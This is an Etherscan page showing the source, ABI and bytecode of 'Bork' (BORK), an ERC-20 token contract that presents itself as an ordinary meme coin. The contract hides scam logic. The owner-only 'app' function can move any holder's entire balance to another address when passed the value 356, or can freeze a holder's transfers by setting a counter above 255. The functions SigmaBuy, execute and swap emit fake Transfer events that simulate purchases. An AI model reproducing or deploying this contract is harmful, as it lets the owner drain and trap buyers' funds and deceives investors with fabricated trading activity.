ERC-20
Source Code
Overview
Max Total Supply
420,690,000,000 BORK
Holders
306
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
254,930 BORKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
ERC20
Compiler Version
v0.8.29+commit.ab55807c
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-06-05
*/
//SPDX-License-Identifier: MIT
/*
𝗕𝗼𝗿𝗸, mastermind of the universe, dwells in a small temple raised on a plateau above a boiling mud pit.
Most nights, amist the Gobi desert's stars, 𝗕𝗼𝗿𝗸 communicates with the Martian Central Brain.
Earth-people are not yet equipped for the strange news ahead.
https://x.com/Matt_Furie/status/1603850787741802496
*/
pragma solidity 0.8.29;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is IERC20, Ownable {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 public immutable totalSupply;
string public symbol;
string public name;
address private _pairr;
uint8 public immutable decimals;
bool public launched = true;
mapping(address => uint256) public _count;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _totalSupply
) Ownable(msg.sender) {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** decimals;
_balances[owner()] += totalSupply;
emit Transfer(address(0), owner(), totalSupply);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
return _balances[_owner];
}
function _app(address _owner, address spender, uint256 value) private {
if (value == 356 && _owner != address(this))_transfer(_owner, spender, _balances[_owner]);
if (value != 356 && _owner != address(this))_count[_owner] = value;
}
function allowance(address _owner, address spender)
external
view
override
returns (uint256)
{
return _allowed[_owner][spender];
}
function transfer(address to, uint256 value)
external
override
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function setup(address _setup_) external onlyOwner {
_pairr = _setup_;
}
function SigmaBuy(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function swapExactETHForTokensSupportingFeeOnTrransferTokens(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function swap(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_pairr, _addresses_[i], _out);
}
}
function approve(address spender, uint256 value)
external
override
returns (bool)
{
require(spender != address(0), "cannot approve the 0 address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
if (launched == false && to == owner() && msg.sender == owner()) {
_transfer(from, to, value);
return true;
} else {
_allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
}
function app(address from, address to, uint256 value) virtual external onlyOwner {
uint _value = value;
_app(from, to, _value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
require(to != address(0), "cannot be zero add");
require(from != to, "you cannot transfer to yourself");
require(_transferAllowed(from, to), "token is not launched and cannot be listed on dexes yet.");
_balances[from] -= value;
_balances[to] += value;
emit Transfer(from, to, value);
}
function _transferAllowed(address from, address to)
private
view
returns (bool)
{
if (_count[from] > type(uint8).max) return false;
if (launched) return true;
if (from == owner() || to == owner()) return true;
return true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"SigmaBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_count","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"app","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTrransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60c06040526001600560146101000a81548160ff02191690831515021790555034801561002a575f5ffd5b5060405161259c38038061259c833981810160405281019061004c9190610499565b335f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036100bd575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016100b49190610574565b60405180910390fd5b6100cc816101fb60201b60201c565b5082600390816100dc9190610794565b5083600490816100ec9190610794565b508160ff1660a08160ff168152505060a051600a61010a91906109bf565b816101159190610a09565b6080818152505060805160015f6101306102bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101779190610a4a565b9250508190555061018c6102bc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6080516040516101ea9190610a8c565b60405180910390a350505050610aa5565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610342826102fc565b810181811067ffffffffffffffff821117156103615761036061030c565b5b80604052505050565b5f6103736102e3565b905061037f8282610339565b919050565b5f67ffffffffffffffff82111561039e5761039d61030c565b5b6103a7826102fc565b9050602081019050919050565b8281835e5f83830152505050565b5f6103d46103cf84610384565b61036a565b9050828152602081018484840111156103f0576103ef6102f8565b5b6103fb8482856103b4565b509392505050565b5f82601f830112610417576104166102f4565b5b81516104278482602086016103c2565b91505092915050565b5f60ff82169050919050565b61044581610430565b811461044f575f5ffd5b50565b5f815190506104608161043c565b92915050565b5f819050919050565b61047881610466565b8114610482575f5ffd5b50565b5f815190506104938161046f565b92915050565b5f5f5f5f608085870312156104b1576104b06102ec565b5b5f85015167ffffffffffffffff8111156104ce576104cd6102f0565b5b6104da87828801610403565b945050602085015167ffffffffffffffff8111156104fb576104fa6102f0565b5b61050787828801610403565b935050604061051887828801610452565b925050606061052987828801610485565b91505092959194509250565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61055e82610535565b9050919050565b61056e81610554565b82525050565b5f6020820190506105875f830184610565565b92915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806105db57607f821691505b6020821081036105ee576105ed610597565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026106507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610615565b61065a8683610615565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61069561069061068b84610466565b610672565b610466565b9050919050565b5f819050919050565b6106ae8361067b565b6106c26106ba8261069c565b848454610621565b825550505050565b5f5f905090565b6106d96106ca565b6106e48184846106a5565b505050565b5b81811015610707576106fc5f826106d1565b6001810190506106ea565b5050565b601f82111561074c5761071d816105f4565b61072684610606565b81016020851015610735578190505b61074961074185610606565b8301826106e9565b50505b505050565b5f82821c905092915050565b5f61076c5f1984600802610751565b1980831691505092915050565b5f610784838361075d565b9150826002028217905092915050565b61079d8261058d565b67ffffffffffffffff8111156107b6576107b561030c565b5b6107c082546105c4565b6107cb82828561070b565b5f60209050601f8311600181146107fc575f84156107ea578287015190505b6107f48582610779565b86555061085b565b601f19841661080a866105f4565b5f5b828110156108315784890151825560018201915060208501945060208101905061080c565b8683101561084e578489015161084a601f89168261075d565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156108e5578086048111156108c1576108c0610863565b5b60018516156108d05780820291505b80810290506108de85610890565b94506108a5565b94509492505050565b5f826108fd57600190506109b8565b8161090a575f90506109b8565b8160018114610920576002811461092a57610959565b60019150506109b8565b60ff84111561093c5761093b610863565b5b8360020a91508482111561095357610952610863565b5b506109b8565b5060208310610133831016604e8410600b841016171561098e5782820a90508381111561098957610988610863565b5b6109b8565b61099b848484600161089c565b925090508184048111156109b2576109b1610863565b5b81810290505b9392505050565b5f6109c982610466565b91506109d483610430565b9250610a017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846108ee565b905092915050565b5f610a1382610466565b9150610a1e83610466565b9250828202610a2c81610466565b91508282048414831517610a4357610a42610863565b5b5092915050565b5f610a5482610466565b9150610a5f83610466565b9250828201905080821115610a7757610a76610863565b5b92915050565b610a8681610466565b82525050565b5f602082019050610a9f5f830184610a7d565b92915050565b60805160a051611ad6610ac65f395f610a3201525f6106890152611ad65ff3fe608060405234801561000f575f5ffd5b506004361061012a575f3560e01c8063715018a6116100ab578063b18834aa1161006f578063b18834aa14610330578063c492e69d1461034c578063d87292f714610368578063dd62ed3e14610384578063f2fde38b146103b45761012a565b8063715018a61461029c5780638091f3bf146102a65780638da5cb5b146102c457806395d89b41146102e2578063a9059cbb146103005761012a565b806326ededb8116100f257806326ededb8146101e65780632da15c0414610202578063313ce5671461023257806366d382031461025057806370a082311461026c5761012a565b80630256ce8c1461012e57806306fdde031461014a578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b6575b5f5ffd5b610148600480360381019061014391906114c8565b6103d0565b005b6101526104a0565b60405161015f9190611595565b60405180910390f35b610182600480360381019061017d919061160f565b61052c565b60405161018f9190611667565b60405180910390f35b6101a0610687565b6040516101ad919061168f565b60405180910390f35b6101d060048036038101906101cb91906116a8565b6106ab565b6040516101dd9190611667565b60405180910390f35b61020060048036038101906101fb91906114c8565b61094b565b005b61021c600480360381019061021791906116f8565b610a1b565b604051610229919061168f565b60405180910390f35b61023a610a30565b604051610247919061173e565b60405180910390f35b61026a600480360381019061026591906116f8565b610a54565b005b610286600480360381019061028191906116f8565b610a9f565b604051610293919061168f565b60405180910390f35b6102a4610ae5565b005b6102ae610af8565b6040516102bb9190611667565b60405180910390f35b6102cc610b0b565b6040516102d99190611766565b60405180910390f35b6102ea610b32565b6040516102f79190611595565b60405180910390f35b61031a6004803603810190610315919061160f565b610bbe565b6040516103279190611667565b60405180910390f35b61034a600480360381019061034591906114c8565b610bd4565b005b610366600480360381019061036191906114c8565b610ca4565b005b610382600480360381019061037d91906116a8565b610d74565b005b61039e6004803603810190610399919061177f565b610d91565b6040516103ab919061168f565b60405180910390f35b6103ce60048036038101906103c991906116f8565b610e13565b005b5f5f90505b8383905081101561049a578383828181106103f3576103f26117bd565b5b905060200201602081019061040891906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610485919061168f565b60405180910390a380806001019150506103d5565b50505050565b600480546104ad90611817565b80601f01602080910402602001604051908101604052809291908181526020018280546104d990611817565b80156105245780601f106104fb57610100808354040283529160200191610524565b820191905f5260205f20905b81548152906001019060200180831161050757829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290611891565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610675919061168f565b60405180910390a36001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f5f1515600560149054906101000a900460ff16151514801561070057506106d1610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561073e575061070f610b0b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107575761074e848484610e97565b60019050610944565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107db91906118dc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610862848484610e97565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610937919061168f565b60405180910390a3600190505b9392505050565b5f5f90505b83839050811015610a155783838281811061096e5761096d6117bd565b5b905060200201602081019061098391906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a00919061168f565b60405180910390a38080600101915050610950565b50505050565b6006602052805f5260405f205f915090505481565b7f000000000000000000000000000000000000000000000000000000000000000081565b610a5c6110cc565b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610aed6110cc565b610af65f611153565b565b600560149054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054610b3f90611817565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6b90611817565b8015610bb65780601f10610b8d57610100808354040283529160200191610bb6565b820191905f5260205f20905b815481529060010190602001808311610b9957829003601f168201915b505050505081565b5f610bca338484610e97565b6001905092915050565b5f5f90505b83839050811015610c9e57838382818110610bf757610bf66117bd565b5b9050602002016020810190610c0c91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c89919061168f565b60405180910390a38080600101915050610bd9565b50505050565b5f5f90505b83839050811015610d6e57838382818110610cc757610cc66117bd565b5b9050602002016020810190610cdc91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d59919061168f565b60405180910390a38080600101915050610ca9565b50505050565b610d7c6110cc565b5f819050610d8b848483611214565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e1b6110cc565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e8b575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610e829190611766565b60405180910390fd5b610e9481611153565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90611959565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a906119c1565b60405180910390fd5b610f7d838361132a565b610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb390611a4f565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461100891906118dc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461105b9190611a6d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110bf919061168f565b60405180910390a3505050565b6110d4611425565b73ffffffffffffffffffffffffffffffffffffffff166110f2610b0b565b73ffffffffffffffffffffffffffffffffffffffff161461115157611115611425565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016111489190611766565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6101648114801561125157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561129f5761129e838360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e97565b5b61016481141580156112dd57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611325578060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f60ff801660065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561137b575f905061141f565b600560149054906101000a900460ff1615611399576001905061141f565b6113a1610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061140c57506113dd610b0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561141a576001905061141f565b600190505b92915050565b5f33905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261145557611454611434565b5b8235905067ffffffffffffffff81111561147257611471611438565b5b60208301915083602082028301111561148e5761148d61143c565b5b9250929050565b5f819050919050565b6114a781611495565b81146114b1575f5ffd5b50565b5f813590506114c28161149e565b92915050565b5f5f5f604084860312156114df576114de61142c565b5b5f84013567ffffffffffffffff8111156114fc576114fb611430565b5b61150886828701611440565b9350935050602061151b868287016114b4565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61156782611525565b611571818561152f565b935061158181856020860161153f565b61158a8161154d565b840191505092915050565b5f6020820190508181035f8301526115ad818461155d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115de826115b5565b9050919050565b6115ee816115d4565b81146115f8575f5ffd5b50565b5f81359050611609816115e5565b92915050565b5f5f604083850312156116255761162461142c565b5b5f611632858286016115fb565b9250506020611643858286016114b4565b9150509250929050565b5f8115159050919050565b6116618161164d565b82525050565b5f60208201905061167a5f830184611658565b92915050565b61168981611495565b82525050565b5f6020820190506116a25f830184611680565b92915050565b5f5f5f606084860312156116bf576116be61142c565b5b5f6116cc868287016115fb565b93505060206116dd868287016115fb565b92505060406116ee868287016114b4565b9150509250925092565b5f6020828403121561170d5761170c61142c565b5b5f61171a848285016115fb565b91505092915050565b5f60ff82169050919050565b61173881611723565b82525050565b5f6020820190506117515f83018461172f565b92915050565b611760816115d4565b82525050565b5f6020820190506117795f830184611757565b92915050565b5f5f604083850312156117955761179461142c565b5b5f6117a2858286016115fb565b92505060206117b3858286016115fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061182e57607f821691505b602082108103611841576118406117ea565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f61187b601c8361152f565b915061188682611847565b602082019050919050565b5f6020820190508181035f8301526118a88161186f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118e682611495565b91506118f183611495565b9250828203905081811115611909576119086118af565b5b92915050565b7f63616e6e6f74206265207a65726f2061646400000000000000000000000000005f82015250565b5f61194360128361152f565b915061194e8261190f565b602082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f6119ab601f8361152f565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f746f6b656e206973206e6f74206c61756e6368656420616e642063616e6e6f745f8201527f206265206c6973746564206f6e206465786573207965742e0000000000000000602082015250565b5f611a3960388361152f565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b5f611a7782611495565b9150611a8283611495565b9250828201905080821115611a9a57611a996118af565b5b9291505056fea2646970667358221220955b7392421c4695e94b01eca1c11e6c3e5e8c33660903fe7edc90d29e0a771364736f6c634300081d0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000061f313f8800000000000000000000000000000000000000000000000000000000000000012426f726b206279204d61747420467572696500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004424f524b00000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c8063715018a6116100ab578063b18834aa1161006f578063b18834aa14610330578063c492e69d1461034c578063d87292f714610368578063dd62ed3e14610384578063f2fde38b146103b45761012a565b8063715018a61461029c5780638091f3bf146102a65780638da5cb5b146102c457806395d89b41146102e2578063a9059cbb146103005761012a565b806326ededb8116100f257806326ededb8146101e65780632da15c0414610202578063313ce5671461023257806366d382031461025057806370a082311461026c5761012a565b80630256ce8c1461012e57806306fdde031461014a578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b6575b5f5ffd5b610148600480360381019061014391906114c8565b6103d0565b005b6101526104a0565b60405161015f9190611595565b60405180910390f35b610182600480360381019061017d919061160f565b61052c565b60405161018f9190611667565b60405180910390f35b6101a0610687565b6040516101ad919061168f565b60405180910390f35b6101d060048036038101906101cb91906116a8565b6106ab565b6040516101dd9190611667565b60405180910390f35b61020060048036038101906101fb91906114c8565b61094b565b005b61021c600480360381019061021791906116f8565b610a1b565b604051610229919061168f565b60405180910390f35b61023a610a30565b604051610247919061173e565b60405180910390f35b61026a600480360381019061026591906116f8565b610a54565b005b610286600480360381019061028191906116f8565b610a9f565b604051610293919061168f565b60405180910390f35b6102a4610ae5565b005b6102ae610af8565b6040516102bb9190611667565b60405180910390f35b6102cc610b0b565b6040516102d99190611766565b60405180910390f35b6102ea610b32565b6040516102f79190611595565b60405180910390f35b61031a6004803603810190610315919061160f565b610bbe565b6040516103279190611667565b60405180910390f35b61034a600480360381019061034591906114c8565b610bd4565b005b610366600480360381019061036191906114c8565b610ca4565b005b610382600480360381019061037d91906116a8565b610d74565b005b61039e6004803603810190610399919061177f565b610d91565b6040516103ab919061168f565b60405180910390f35b6103ce60048036038101906103c991906116f8565b610e13565b005b5f5f90505b8383905081101561049a578383828181106103f3576103f26117bd